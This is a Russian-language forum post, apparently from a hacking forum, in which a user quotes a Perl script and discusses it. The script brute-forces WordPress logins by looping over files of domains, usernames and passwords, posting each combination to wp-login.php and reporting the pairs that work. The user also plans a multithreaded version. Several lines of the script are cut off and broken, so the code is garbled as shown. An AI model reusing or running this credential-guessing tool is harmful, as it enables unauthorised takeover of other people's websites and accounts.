
11.07.2015, 02:51
|
|
Познающий
Регистрация: 18.05.2015
Сообщений: 37
С нами:
5784086
Репутация:
0
|
|
Сообщение от Swat2k
↑
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.
Код:
use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
my $cookie_jar = HTTP::Cookies->new(
file => "cookies.dat",
autosave => 1,
);
getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);
open($dfh, '){
chomp $thisDomain;
open($nfh, '){
chomp $thisName;
open($wfh, '){
chomp $thisPass;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar($cookie_jar);
my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
'pwd' => $thisPass,
'wp-sumbit' => 'Log In',
'redirect_to' => "http://$thisDomain/wp-login.php",
'rememberme' => 'forever',
'testcookie' => 1});
if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}
undef $resp;
}
}
}
Да, связка логин:пароль отслеживается. Спасибо! Но по странной причине при первой итерации в цикле так же выдает Found.
С потоками уже разобрался, сегодня выложу версию с мультипотоками
|
|
|